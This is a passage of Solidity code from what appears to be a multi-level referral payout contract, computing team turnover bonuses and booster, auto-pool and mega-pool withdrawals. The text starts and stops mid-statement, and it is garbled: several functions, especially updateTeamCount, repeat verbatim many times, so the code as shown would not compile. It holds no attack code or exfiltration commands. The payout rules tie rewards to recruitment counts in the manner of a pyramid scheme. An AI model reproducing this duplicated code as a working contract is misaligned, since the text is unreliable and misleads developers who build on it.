>=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool) { uint256 totalCount; teamTurnOver[_userId][0] = _turnOverCountLeg1; teamTurnOver[_userId][1] = _turnOverCountLeg2; teamTurnOver[_userId][2] = _turnOverCountLeg3; if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg1 / 2; totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3); } else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3) { totalCount = _turnOverCountLeg2 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3); } else { totalCount = _turnOverCountLeg3 / 2; totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2); } if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0) { teamBonusGain[_userId][0] = bonusPrice[0]; } if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0) { teamBonusGain[_userId][1] = bonusPrice[1]; } if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0) { teamBonusGain[_userId][2] = bonusPrice[2]; } if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0) { teamBonusGain[_userId][3] = bonusPrice[3]; } if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0) { teamBonusGain[_userId][4] = bonusPrice[4]; } if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0) { teamBonusGain[_userId][5] = bonusPrice[5]; } if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0) { teamBonusGain[_userId][6] = bonusPrice[6]; } if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0) { teamBonusGain[_userId][7] = bonusPrice[7]; } return true; } function withdraw(uint256 _userId) public returns (bool) { for(uint256 j=0; j<6;j++) { withdrawBoosterAndAutoPoolGain(_userId,j); } withdrawTeamActivationGain(_userId); withdrawTeamBonusGain(_userId); withdrawMegaPoolGain(_userId); return true; } function withdraw(uint256 _userId) public returns (bool) { for(uint256 j=0; j<6;j++) { withdrawBoosterAndAutoPoolGain(_userId,j); } withdrawTeamActivationGain(_userId); withdrawTeamBonusGain(_userId); withdrawMegaPoolGain(_userId); return true; } function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; level++; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if((lastLevel > level && refCount >= level * 3) || _userId == 0 ) { level--; totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level]; paidBoosterGain[_userId][level] = boosterGain[_userId][level]; uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, level, false, _userId ); for(uint256 i=0;i<6;i++) { totalAmount += (autoPoolGain[pId][level][i] - paidAutoPoolGain[pId][level][i]); paidAutoPoolGain[pId][level][i] = autoPoolGain[pId][level][i]; } } else if(lastLevel <= level && refCount >= level * 3) { require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail"); withdrawBoosterAndAutoPoolGain(_userId, level-1); } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; level++; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if((lastLevel > level && refCount >= level * 3) || _userId == 0 ) { level--; totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level]; paidBoosterGain[_userId][level] = boosterGain[_userId][level]; uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, level, false, _userId ); for(uint256 i=0;i<6;i++) { totalAmount += (autoPoolGain[pId][level][i] - paidAutoPoolGain[pId][level][i]); paidAutoPoolGain[pId][level][i] = autoPoolGain[pId][level][i]; } } else if(lastLevel <= level && refCount >= level * 3) { require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail"); withdrawBoosterAndAutoPoolGain(_userId, level-1); } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; level++; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if((lastLevel > level && refCount >= level * 3) || _userId == 0 ) { level--; totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level]; paidBoosterGain[_userId][level] = boosterGain[_userId][level]; uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, level, false, _userId ); for(uint256 i=0;i<6;i++) { totalAmount += (autoPoolGain[pId][level][i] - paidAutoPoolGain[pId][level][i]); paidAutoPoolGain[pId][level][i] = autoPoolGain[pId][level][i]; } } else if(lastLevel <= level && refCount >= level * 3) { require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail"); withdrawBoosterAndAutoPoolGain(_userId, level-1); } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; level++; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if((lastLevel > level && refCount >= level * 3) || _userId == 0 ) { level--; totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level]; paidBoosterGain[_userId][level] = boosterGain[_userId][level]; uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, level, false, _userId ); for(uint256 i=0;i<6;i++) { totalAmount += (autoPoolGain[pId][level][i] - paidAutoPoolGain[pId][level][i]); paidAutoPoolGain[pId][level][i] = autoPoolGain[pId][level][i]; } } else if(lastLevel <= level && refCount >= level * 3) { require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail"); withdrawBoosterAndAutoPoolGain(_userId, level-1); } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawTeamActivationGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<8;i++) { totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]; paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i]; } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawTeamActivationGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<8;i++) { totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]; paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i]; } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawTeamActivationGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<8;i++) { totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]; paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i]; } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawTeamBonusGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<8;i++) { totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]; paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i]; } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawTeamBonusGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<8;i++) { totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]; paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i]; } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawTeamBonusGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<8;i++) { totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]; paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i]; } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } function withdrawMegaPoolGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId); uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<10;i++) { if(megaPoolReadyToWithdraw[pId][i]) { totalAmount += megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]; paidMegaPoolGain[pId][i] = megaPoolGain[pId][i]; } } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } event withdrawTokenEv(uint timeNow, address user,uint amount); function withdrawMegaPoolGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId); uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<10;i++) { if(megaPoolReadyToWithdraw[pId][i]) { totalAmount += megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]; paidMegaPoolGain[pId][i] = megaPoolGain[pId][i]; } } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } event withdrawTokenEv(uint timeNow, address user,uint amount); function withdrawMegaPoolGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId); uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<10;i++) { if(megaPoolReadyToWithdraw[pId][i]) { totalAmount += megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]; paidMegaPoolGain[pId][i] = megaPoolGain[pId][i]; } } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } event withdrawTokenEv(uint timeNow, address user,uint amount); function withdrawMegaPoolGain(uint256 _userId) public returns(bool) { uint256 refCount; uint256 lastLevel; uint256 totalAmount; ( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId); uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); if(lastLevel >= 2 && refCount >= 3 ) { for(uint256 i=0;i<10;i++) { if(megaPoolReadyToWithdraw[pId][i]) { totalAmount += megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]; paidMegaPoolGain[pId][i] = megaPoolGain[pId][i]; } } } if(totalAmount>0 ) withdrawToken(totalAmount,_userId); return true; } event withdrawTokenEv(uint timeNow, address user,uint amount); function withdrawToken(uint amount, uint _userId) internal returns (bool) { ( ,address payable 